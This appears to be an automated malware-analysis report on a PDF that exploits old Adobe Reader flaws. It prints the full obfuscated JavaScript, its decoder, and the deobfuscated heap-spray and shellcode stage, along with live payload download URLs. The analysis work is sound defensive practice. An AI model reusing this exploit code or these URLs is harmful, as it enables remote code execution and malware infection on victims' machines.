Malicious PDF — malware analysis report

Static analysis result for SHA-256 4e4793e439e26304…

MALICIOUS

PDF

7.9 KB Created: 2009-09-23 19:45:73 Authoring application: Eblasha 3.2.6.2 (via PDF Library 4.3.2.7) First seen: 2012-07-12
MD5: 56ae500c28dd85ac4d711b16e4f2125c SHA-1: f0dd13c6ac47ce7df0d48189025fcca02079ca9d SHA-256: 4e4793e439e263040dec1caa28b36dfcadec86fce6f2a31a39a7f8779a9d6b9d
546 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple CVEs (CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) in Adobe Reader. The JavaScript is designed to download and execute a second-stage payload from the provided URLs. The deobfuscated JavaScript explicitly contains the URLs for the executable payloads.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 13

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for (var hlmqy=0, jnqtv='';hlmqy<5280;hlmqy++){jnqtv += String.fromCharCode(fra[hlmqy]-'aFGHJmN'.substring(hlmqy%'aFGHJmN'.length,hlmqy%'aFGHJmN'.length+1).charCodeAt(0));}eval(jnqtv);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://bezobizn.ru/afijtwy3.exe Referenced by PDF JavaScript
    • http://bezobizn.ru/afhilopt3.exeReferenced by PDF JavaScript
    • http://bezobizn.ru/jqrvx3.exeReferenced by PDF JavaScript

Related samples 5

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 21118 bytes
SHA-256: bcc2ff099cb02186d742a7a608dbecb3942243061565141bba6bec96e82d99b9
Preview script
First 1,000 lines of the extracted script
var fra=[199,187,181,171,190,214,189,207,102,173,177,194,204,183,213,110,192,169,188,224,190,141,178,172,182,115,232,197,201,175,179,173,114,230,175,211,185,183,118,182,210,188,200,186,175,114,124,169,186,198,180,112,195,195,206,192,212,182,114,133,195,206,192,212,182,130,197,84,230,175,211,185,183,133,195,206,192,212,182,117,187,191,207,193,213,184,176,182,177,149,126,141,178,172,182,121,159,119,156,184,172,188,191,223,188,129,191,168,186,189,221,137,222,80,173,189,184,208,194,202,181,181,104,191,225,183,205,165,183,186,179,219,194,199,110,112,195,192,206,192,129,182,168,193,182,220,175,197,131,188,182,175,224,177,194,182,172,112,108,146,195,151,122,128,120,111,226,127,153,135,120,109,191,157,126,145,118,108,189,130,175,126,145,107,188,123,122,161,126,134,187,123,120,130,175,115,214,126,137,125,126,146,195,145,122,123,120,111,226,130,145,126,137,109,191,165,144,145,122,108,189,122,161,130,145,107,188,122,122,157,146,134,187,121,120,122,157,115,214,121,139,120,122,146,195,145,118,126,139,111,226,126,145,125,126,109,191,157,127,152,122,108,189,125,160,145,148,107,188,126,126,176,126,134,187,123,120,130,175,115,214,125,127,123,122,146,195,153,136,119,139,111,226,126,164,122,119,109,191,164,126,153,136,108,189,139,177,127,164,107,188,125,130,165,144,134,187,140,138,122,165,115,214,126,137,120,131,146,195,148,122,123,120,111,226,130,145,126,139,109,191,165,144,152,137,108,189,125,176,131,153,107,188,124,126,163,143,134,187,139,121,127,174,115,214,120,137,141,124,146,195,153,136,140,122,111,226,147,163,139,138,109,191,162,143,149,140,108,189,130,160,131,147,107,188,125,128,178,143,134,187,124,125,130,166,115,214,123,125,120,126,146,195,153,136,124,127,111,226,129,164,125,122,109,191,164,130,153,136,108,189,129,165,129,148,107,188,142,125,157,129,134,187,127,138,127,163,115,214,120,119,127,128,146,195,167,121,119,123,111,226,145,154,121,122,109,191,162,126,149,127,108,189,139,177,130,146,107,188,142,144,160,129,134,187,119,142,125,163,115,214,119,123,138,143,146,195,148,126,119,123,111,226,133,149,140,121,109,191,176,127,145,126,108,189,122,177,145,167,107,188,142,139,157,129,134,187,140,138,126,157,115,214,123,127,141,144,146,195,167,126,122,138,111,226,147,150,125,124,109,191,165,144,150,139,108,189,124,161,130,151,107,188,139,125,157,129,134,187,127,138,128,163,115,214,122,127,120,141,146,195,150,124,127,138,111,226,126,148,119,138,109,191,165,144,165,121,108,189,130,174,126,149,107,188,139,125,157,129,134,187,124,141,127,179,115,214,137,122,125,122,146,195,152,138,127,140,111,226,131,152,118,127,109,191,175,134,150,120,108,189,141,174,129,148,107,188,125,140,165,143,134,187,136,122,143,165,115,214,140,141,142,144,146,195,148,120,141,142,111,226,134,163,137,119,109,191,179,128,167,125,108,189,126,179,143,166,107,188,127,127,175,134,134,187,125,125,124,178,115,214,135,137,127,130,146,195,154,126,125,126,111,226,143,163,124,125,109,191,176,126,148,121,108,189,128,158,144,153,107,188,120,122,163,130,134,187,124,120,122,157,115,214,123,123,126,130,146,195,152,120,125,128,111,226,129,150,124,124,109,191,158,145,147,122,108,189,129,161,132,154,107,188,125,126,162,126,134,187,137,128,127,160,115,214,140,138,137,139,146,195,152,137,119,140,111,226,131,150,140,141,109,191,165,144,145,122,108,189,130,160,148,153,107,188,120,141,176,130,134,187,125,139,140,157,115,214,139,119,128,139,146,195,150,118,128,128,111,226,132,167,124,127,109,191,159,147,151,139,108,189,128,165,132,149,107,188,127,124,164,131,134,187,125,140,128,176,115,214,136,127,125,126,146,195,149,139,127,141,111,226,147,164,118,140,109,191,162,131,167,140,108,189,131,160,126,149,107,188,123,125,162,126,134,187,124,120,141,157,115,214,123,125,125,122,146,195,150,123,127,138,111,226,134,148,118,123,109,191,164,148,164,120,108,189,141,159,134,148,107,188,125,124,161,145,134,187,137,128,127,157,115,214,119,136,123,128,146,195,152,118,121,142,111,226,131,150,140,141,109,191,162,144,145,122,108,189,127,163,131,152,107,188,129,130,175,134,134,187,127,137,144,178,115,214,140,141,120,143,146,195,145,122,124,125,111,226,126,145,124,136,109,191,177,133,167,140,108,189,129,161,132,153,107,188,127,122,164,130,134,187,121,142,125,174,115,214,124,121,122,144,146,195,152,135,125,125,111,226,132,147,124,141,109,191,164,143,151,127,108,189,124,178,132,166,107,188,127,127,164,128,134,187,125,121,124,179,115,214,124,128,126,128,146,195,152,122,125,137,111,226,133,154,125,126,109,191,159,147,148,121,108,189,129,165,132,150,107,188,120,122,163,131,131,111,130,190,171,223,110,207,181,183,133,191,219,179,212,169,168,184,175,149,112,134,187,119,137,122,174,115,214,118,136,120,139,146,195,145,135,119,137,111,226,126,162,118,136,106,115,119,196,194,184,103,176,175,206,190,195,178,182,171,181,170,188,208,182,114,184,171,230,186,208,167,171,131,192,206,192,129,168,176,175,172,217,189,196,177,132,189,184,210,193,196,167,183,173,114,143,115,214,118,136,120,139,146,195,145,135,119,137,108,150,137,215,167,185,104,178,210,175,197,171,185,187,179,231,179,158,120,119,131,192,206,192,129,185,183,186,171,230,139,201,171,168,172,175,223,193,202,192,172,115,178,210,175,209,168,179,183,173,216,124,205,171,181,175,190,213,137,216,174,176,180,175,149,176,202,173,169,180,185,208,185,143,178,172,182,177,225,182,157,185,183,186,171,230,119,220,168,176,175,172,217,189,196,177,114,133,172,214,181,195,178,182,171,181,168,203,107,188,168,186,106,211,183,205,178,169,180,185,208,185,158,168,176,175,172,217,189,196,177,117,187,191,207,193,213,184,176,182,177,149,126,141,185,183,186,171,230,119,156,188,168,186,106,207,186,208,169,178,133,172,214,181,195,178,182,171,181,155,193,214,168,186,188,188,214,188,200,110,119,116,172,214,181,195,178,182,171,181,155,186,198,180,174,188,178,154,193,209,184,168,193,115,168,197,201,175,179,173,114,207,186,208,169,178,118,182,210,188,200,186,175,115,189,221,192,194,191,131,120,194,161,126,145,118,119,113,197,207,186,208,169,178,133,172,217,189,196,177,114,170,182,220,177,204,113,173,177,182,217,176,205,181,170,179,133,234,88,215,167,185,104,183,210,187,192,167,185,186,171,230,139,207,171,190,104,139,223,192,194,191,111,113,133,211,189,211,110,189,169,188,141,183,158,118,130,177,134,158,130,145,118,130,177,117,152,119,220,179,172,181,169,206,192,211,167,192,163,179,202,139,195,178,182,171,181,152,182,198,167,183,170,182,220,177,204,129,196,82,192,206,192,129,180,188,181,135,158,128,154,127,128,129,131,166,135,154,127,128,129,131,166,135,154,127,128,129,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,156,187,187,177,182,155,190,211,175,181,188,176,149,112,134,122,124,120,122,157,180,131,114,181,189,183,150,137,222,80,173,189,184,208,194,202,181,181,104,173,220,186,205,167,169,167,175,218,175,202,178,111,113,197,227,175,211,102,186,176,175,217,186,196,181,171,173,135,226,188,198,185,170,169,186,210,118,131,107,188,126,126,166,126,134,187,120,128,139,158,115,214,118,119,120,122,146,195,153,136,119,120,111,226,129,145,122,119,109,191,161,126,153,136,108,189,130,175,131,149,107,188,120,126,161,126,134,187,123,120,130,175,115,214,126,137,120,126,146,195,145,122,123,120,111,226,128,145,118,139,109,191,159,126,145,118,108,189,125,177,126,145,107,188,120,122,164,145,134,187,119,120,129,164,115,214,118,120,127,126,146,195,148,121,138,123,111,226,132,149,137,119,109,191,161,126,153,136,108,189,129,165,129,145,107,188,128,140,157,145,134,187,119,139,126,157,115,214,125,119,128,140,146,195,162,138,120,139,111,226,131,153,126,137,109,191,178,144,145,126,108,189,130,175,126,154,107,188,123,126,161,126,134,187,123,120,130,177,115,214,126,137,127,141,146,195,148,137,124,128,111,226,130,149,124,136,109,191,177,127,150,135,108,189,124,175,147,147,107,188,128,140,178,128,134,187,140,138,143,176,115,214,123,136,124,144,146,195,153,121,124,122,111,226,131,151,139,136,109,191,162,131,153,127,108,189,127,163,126,149,107,188,128,140,162,133,134,187,122,139,129,160,115,214,125,123,128,140,146,195,152,126,122,123,111,226,148,148,118,122,109,191,165,144,150,124,108,189,124,157,133,151,107,188,142,125,157,129,134,187,138,129,125,160,115,214,123,119,124,131,146,195,162,138,123,121,111,226,148,167,121,122,109,191,157,148,148,124,108,189,123,161,144,166,107,188,123,130,157,129,134,187,126,124,144,159,115,214,137,120,120,130,146,195,145,138,138,142,111,226,148,162,118,122,109,191,178,144,149,118,108,189,127,165,147,167,107,188,142,130,160,144,134,187,140,125,129,162,115,214,126,137,125,143,146,195,147,122,123,126,111,226,145,148,118,122,109,191,165,144,151,124,108,189,126,165,126,164,107,188,125,128,165,144,134,187,119,123,123,176,115,214,126,137,140,125,146,195,153,135,119,124,111,226,145,148,118,122,109,191,162,147,150,140,108,189,141,160,131,145,107,188,127,142,165,146,134,187,124,127,122,165,115,214,136,127,125,124,146,195,164,135,122,123,111,226,131,163,126,136,109,191,174,128,166,126,108,189,144,179,148,167,107,188,123,124,179,148,134,187,127,138,141,157,115,214,140,121,142,129,146,195,149,140,136,141,111,226,133,150,136,127,109,191,163,131,147,139,108,189,139,175,133,153,107,188,129,130,163,132,134,187,136,138,128,163,115,214,137,119,123,125,146,195,151,119,137,128,111,226,126,145,124,123,109,191,162,126,145,118,108,189,127,161,132,153,107,188,127,124,163,134,134,187,122,125,128,162,115,214,119,138,122,126,146,195,152,122,125,129,111,226,131,149,123,119,109,191,175,134,150,121,108,189,144,176,143,162,107,188,127,141,157,146,134,187,124,125,144,179,115,214,126,137,120,126,146,195,153,121,141,128,111,226,126,164,137,123,109,191,163,145,163,118,108,189,143,157,134,162,107,188,125,122,166,134,134,187,125,142,128,165,115,214,120,140,126,143,146,195,151,126,125,124,111,226,133,147,125,124,109,191,163,146,151,137,108,189,140,165,131,149,107,188,124,143,165,147,134,187,140,139,122,178,115,214,123,124,142,144,146,195,154,121,119,124,111,226,129,148,123,119,109,191,162,126,164,118,108,189,127,163,131,145,107,188,125,127,165,144,134,187,127,123,122,161,115,214,125,141,139,124,146,195,164,120,127,123,111,226,131,147,122,138,109,191,175,134,150,118,108,189,123,174,129,151,107,188,127,122,159,148,134,187,124,125,144,179,115,214,123,137,120,126,146,195,150,124,124,127,111,226,135,153,136,127,109,191,165,143,167,139,108,189,144,179,126,166,107,188,120,126,162,131,134,187,119,120,128,174,115,214,138,126,142,144,146,195,152,122,125,128,111,226,133,145,125,123,109,191,159,148,148,135,108,189,128,159,128,167,107,188,127,139,163,131,134,187,125,122,128,179,115,214,125,136,126,131,146,195,147,139,125,141,111,226,133,150,125,121,109,191,163,127,147,140,108,189,128,165,132,151,107,188,126,141,163,135,134,187,126,120,128,179,115,214,121,122,127,126,146,195,151,123,121,141,111,226,132,150,125,127,109,191,157,126,145,118,105,113,133,227,175,211,102,180,173,183,204,175,211,184,168,193,135,219,179,216,102,136,186,188,206,199,137,111,130,190,171,223,110,196,169,132,120,194,157,177,145,169,119,171,122,208,137,215,167,185,104,171,209,178,211,131,119,192,126,157,126,145,118,119,131,192,206,192,129,185,170,167,182,210,188,158,185,175,173,182,217,177,208,170,172,118,182,210,188,200,186,175,114,124,168,196,194,184,103,180,175,219,139,194,170,171,186,119,149,193,196,165,179,173,184,152,126,217,121,127,113,133,227,175,211,102,192,169,188,224,190,158,187,181,173,189,208,175,209,171,111,106,111,226,135,145,127,119,109,191,166,126,154,118,105,113,133,230,175,211,185,183,133,176,214,198,192,175,187,112,195,206,192,212,182,115,180,175,219,119,156,188,168,186,106,208,189,214,180,187,122,135,149,177,196,115,119,192,126,157,126,145,118,119,113,121,206,178,197,184,130,174,185,223,118,215,167,185,104,173,220,195,207,186,132,120,133,208,189,214,180,187,132,173,220,195,207,186,121,131,173,220,195,207,186,114,115,115,232,187,198,179,166,169,188,223,175,218,161,170,183,191,219,194,190,131,192,169,188,224,190,140,185,175,173,182,217,177,208,170,172,131,199,119,196,194,184,103,183,192,210,192,199,178,182,191,135,226,188,198,185,170,169,186,210,118,131,107,188,120,173,157,177,134,187,119,171,122,208,112,138,129,190,176,179,217,179,137,181,189,173,188,211,186,208,189,117,180,175,219,181,213,174,131,124,126,166,131,147,111,194,183,192,210,192,199,178,182,191,117,170,189,215,171,185,174,182,220,197,156,195,81,188,178,214,193,143,169,182,180,182,206,176,180,186,182,186,175,170,145,208,178,179,169,172,155,177,208,178,179,173,173,225,147,206,167,176,180,147,219,180,208,110,194,187,191,207,184,155,104,105,116,183,224,181,155,181,189,173,188,211,186,208,189,196,113,133,234,88,199,187,181,171,190,214,189,207,102,170,183,182,217,175,195,165,174,173,190,214,177,208,180,111,113,197,214,180,137,167,183,184,120,209,189,196,116,138,183,182,217,175,195,116,174,173,190,182,177,208,180,112,195,192,206,192,129,167,185,186,195,170,188,198,189,103,137,188,223,175,218,110,112,131,192,206,192,129,188,189,184,175,225,182,218,167,132,189,184,210,193,196,167,183,173,114,143,115,214,124,123,129,122,146,195,146,126,136,121,111,226,126,145,118,119,109,191,165,144,145,118,108,189,125,157,130,145,107,188,124,122,165,144,134,187,127,138,127,161,115,214,118,123,124,122,146,195,149,118,127,138,111,226,134,163,118,123,109,191,157,130,149,118,108,189,124,157,126,165,107,188,122,122,157,126,134,187,122,140,122,157,115,214,118,119,127,141,146,195,145,118,126,127,111,226,126,146,125,123,109,191,160,129,164,121,108,189,128,161,145,145,107,188,124,122,165,144,134,187,126,128,125,157,115,214,126,137,120,141,146,195,145,137,123,120,111,226,133,145,126,137,109,191,174,146,146,137,108,189,127,165,134,163,107,188,141,140,157,134,134,187,127,138,122,166,115,214,121,123,124,122,146,195,149,118,127,140,111,226,134,163,125,138,109,191,160,145,150,126,108,189,126,161,132,162,107,188,140,123,162,143,134,187,121,138,143,159,115,214,126,137,141,124,146,195,166,136,140,139,111,226,131,162,122,141,109,191,165,129,150,120,108,189,127,163,147,162,107,188,125,127,165,135,134,187,124,126,122,161,115,214,126,137,125,129,146,195,148,137,126,123,111,226,133,149,126,137,109,191,164,134,148,121,108,189,144,160,126,148,107,188,128,140,162,132,134,187,121,120,129,163,115,214,140,122,120,125,146,195,164,127,122,123,111,226,131,145,122,128,109,191,174,146,149,119,108,189,144,179,129,148,107,188,120,144,160,132,134,187,120,124,140,178,115,214,121,127,120,125,146,195,152,122,141,122,111,226,145,146,118,127,109,191,157,146,164,140,108,189,144,174,126,148,107,188,141,140,161,126,134,187,124,128,143,179,115,214,140,127,123,140,146,195,166,123,126,125,111,226,134,163,123,140,109,191,159,130,149,124,108,189,141,160,126,148,107,188,128,140,163,132,134,187,123,128,122,176,115,214,123,125,128,140,146,195,145,121,120,139,111,226,134,163,138,122,109,191,165,143,145,122,108,189,141,160,126,148,107,188,125,143,162,148,134,187,138,123,127,157,115,214,125,139,128,142,146,195,150,125,119,128,111,226,144,153,123,121,109,191,176,143,148,121,108,189,127,175,134,162,107,188,137,124,178,134,134,187,141,142,144,179,115,214,121,121,142,144,146,195,153,136,138,120,111,226,148,147,140,126,109,191,161,148,162,139,108,189,129,162,144,153,107,188,126,127,159,147,134,187,136,138,129,165,115,214,127,127,126,128,146,195,162,136,125,126,111,226,145,145,121,122,109,191,163,127,163,126,108,189,122,157,132,149,107,188,125,122,157,126,134,187,124,124,128,165,115,214,125,121,126,130,146,195,148,123,125,125,111,226,127,164,120,123,109,191,164,130,151,127,108,189,127,161,131,145,107,188,138,130,162,129,134,187,141,139,139,174,115,214,125,138,120,142,146,195,150,123,141,142,111,226,134,163,118,123,109,191,165,129,167,126,108,189,122,176,145,149,107,188,126,141,175,126,134,187,140,120,130,174,115,214,123,119,129,130,146,195,151,140,125,128,111,226,128,166,124,140,109,191,163,134,151,122,108,189,129,159,133,150,107,188,126,142,163,145,134,187,137,128,127,161,115,214,122,140,128,143,146,195,166,137,119,141,111,226,131,150,140,141,109,191,166,129,145,122,108,189,125,160,131,145,107,188,125,122,176,126,134,187,124,126,127,157,115,214,123,124,128,140,146,195,153,121,119,124,111,226,133,167,137,121,109,191,176,128,153,121,108,189,127,159,130,164,107,188,138,130,162,126,134,187,120,137,125,163,115,214,125,119,122,144,146,195,150,123,141,142,111,226,131,163,118,123,109,191,162,132,150,125,108,189,131,165,144,153,107,188,128,139,179,147,134,187,141,142,122,178,115,214,118,123,125,127,146,195,145,118,125,137,111,226,146,152,140,141,109,191,164,130,151,126,108,189,129,157,133,149,107,188,122,144,160,143,134,187,125,122,124,179,115,214,125,136,126,127,146,195,151,120,125,142,111,226,133,162,124,128,109,191,159,147,151,139,108,189,129,162,133,147,107,188,126,139,159,148,134,187,126,122,129,158,115,214,125,127,127,128,146,195,147,139,122,123,111,226,133,153,124,124,109,191,157,126,151,123,105,113,133,227,175,211,102,175,159,187,162,126,145,137,149,133,192,227,190,198,186,175,193,171,155,186,198,180,174,188,178,151,128,156,188,168,186,106,217,179,207,131,119,192,126,157,126,145,118,119,117,114,213,165,210,123,119,120,141,187,121,145,190,122,128,115,168,196,194,184,103,193,171,223,193,209,131,188,182,175,224,177,194,182,172,112,108,146,195,154,118,128,120,111,226,135,145,127,119,106,115,168,199,194,184,186,184,135,211,183,217,165,176,188,114,230,175,211,185,183,116,182,210,188,138,129,189,169,188,141,190,150,135,177,147,128,162,180,158,110,119,192,122,208,126,196,118,170,120,173,154,126,217,122,119,120,122,157,126,138,117,119,192,126,157,126,145,118,119,131,176,220,192,137,188,168,186,106,227,191,196,151,139,129,128,230,139,145,129,189,185,173,190,146,154,124,192,132,186,162,143,203,145,125,125,176,168,196,210,169,152,140,131,163,199,140,113,112,195,171,223,192,218,161,189,185,173,190,146,154,124,192,165,135,230,175,211,185,183,115,192,227,190,198,186,175,193,171,168,203,107,188,168,186,106,225,163,174,174,149,170,145,228,139,214,180,172,187,173,206,190,198,110,105,109,122,166,112,138,129,190,176,179,217,179,137,186,156,149,178,187,176,168,189,117,180,175,219,181,213,174,131,120,194,161,126,145,118,112,195,190,194,155,201,148,169,143,193,152,139,213,155,148,176,152,207,149,216,129,196,82,190,194,155,201,148,169,143,193,170,112,175,116,105,115,190,194,155,201,148,169,143,193,168,175,209,182,117,172,185,208,124,164,181,179,180,171,207,124,200,171,187,145,173,220,188,137,186,156,149,178,187,176,168,189,112,131,199,234,88,199,187,181,171,190,214,189,207,102,183,172,176,204,193,213,167,185,188,114,150,201,215,167,185,104,192,210,192,212,175,182,182,135,206,190,209,116,189,177,175,228,179,211,156,172,186,189,214,189,207,116,187,183,157,225,192,202,180,174,112,115,168,196,198,184,186,177,185,219,139,215,171,185,187,179,220,188,143,184,172,184,182,206,177,198,110,118,164,142,156,181,141,109,110,113,133,227,175,211,102,189,169,188,224,183,208,180,166,169,188,223,175,218,131,181,173,193,141,143,211,184,168,193,114,227,179,211,185,176,183,184,155,177,201,167,185,137,190,149,126,138,114,189,173,188,224,183,208,180,117,171,178,206,192,162,186,111,121,115,153,196,198,184,186,177,185,219,124,196,174,168,186,139,225,118,147,111,112,131,179,211,118,137,188,168,186,189,214,189,207,165,168,186,188,206,199,188,118,164,133,135,165,119,135,108,111,190,171,223,193,202,181,181,167,171,223,192,194,191,162,121,167,170,139,145,111,195,196,114,227,175,211,185,176,183,184,204,175,211,184,168,193,165,158,171,158,131,120,110,112,227,175,211,185,176,183,184,204,175,211,184,168,193,165,159,171,157,121,112,113,197,226,194,202,178,166,184,188,214,188,213,172,111,113,133,234,88,202,172,111,112,192,206,192,212,175,182,182,169,206,192,211,167,192,163,122,202,138,153,111,195,196,114,227,175,211,185,176,183,184,204,175,211,184,168,193,165,157,171,158,131,127,110,112,227,175,211,185,176,183,184,204,175,211,184,168,193,165,158,171,157,120,109,110,192,206,192,212,175,182,182,169,206,192,211,167,192,163,124,202,138,147,111,112,195,173,220,186,205,167,169,167,175,218,175,202,178,111,113,133,234,88,202,172,111,112,192,206,192,212,175,182,182,169,206,192,211,167,192,163,122,202,138,154,111,195,196,114,227,175,211,185,176,183,184,204,175,211,184,168,193,165,157,171,158,131,128,110,112,227,175,211,185,176,183,184,204,175,211,184,168,193,165,158,171,157,119,112,113,197,208,189,205,178,168,170,169,212,179,213,175,170,183,184,149,119,156,195,196,82,186,209,180,192,185,187,169,188,225,118,138,129];
javascript_obj0015_001.js pdf-javascript-stream PDF /JS object 15 at offset 0x1B72 184 bytes
SHA-256: 83e8cc72736f4cc1869f31004a88b0479b13018a12c5715df7b2f822ca716684
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
for (var hlmqy=0, jnqtv='';hlmqy<5280;hlmqy++){jnqtv += String.fromCharCode(fra[hlmqy]-'aFGHJmN'.substring(hlmqy%'aFGHJmN'.length,hlmqy%'aFGHJmN'.length+1).charCodeAt(0));}eval(jnqtv);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B 5280 bytes
SHA-256: 23998ca5e9f346d5ec4ec2d33b494d69c55549e5e93de35f3b84d7b869ae2394
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u612F%u6966%u746A%u7977%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
